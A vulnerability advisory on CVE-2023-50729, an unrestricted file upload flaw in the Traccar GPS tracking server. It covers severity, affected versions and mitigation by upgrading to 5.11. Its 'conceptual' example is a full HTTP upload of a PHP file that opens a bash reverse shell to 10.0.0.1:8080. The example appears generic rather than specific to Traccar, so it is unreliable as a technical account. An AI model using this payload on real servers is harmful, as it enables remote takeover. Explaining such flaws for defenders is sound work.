CVE-2023-50729: Unrestricted File Upload Vulnerability in Traccar GPS Tracking System

Overview

The CVE-2023-50729 vulnerability is a severe exploit in Traccar, an open-source GPS tracking system. This flaw, present in versions prior to 5.11, allows attackers to upload unrestricted files that could potentially execute arbitrary code on the server, leading to severe system compromise or data leakage. This vulnerability gains further significance as Traccar is often recommended to run web servers as a root user, thus escalating the implications of a successful exploit.

Vulnerability Summary

CVE ID: CVE-2023-50729
Severity: High (8.4 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Traccar | Prior to 5.11

How the Exploit Works

The vulnerability arises from an unrestricted file upload feature in Traccar. An attacker can exploit this vulnerability by sending a specially crafted request to the server to upload a malicious file, which can then be executed. Since Traccar runs as a root user on web servers, this vulnerability allows the attacker to write or overwrite files in any location on the server, potentially leading to complete system compromise.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited via a HTTP request:

POST /upload/file HTTP/1.1
Host: traccar.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/php
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'");
?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, a PHP file containing a reverse shell is uploaded to the server. If the server executes this file, it will open a reverse shell connection to the attacker’s machine, granting them control over the server.

Mitigation

To mitigate this vulnerability, users are advised to upgrade to Traccar version 5.11 or later, which contains a fix for the issue. As a temporary mitigation, users can also implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block malicious file uploads. However, these measures only reduce the risk and do not eliminate it entirely. A comprehensive solution involves patching the software to a version where the vulnerability is fixed.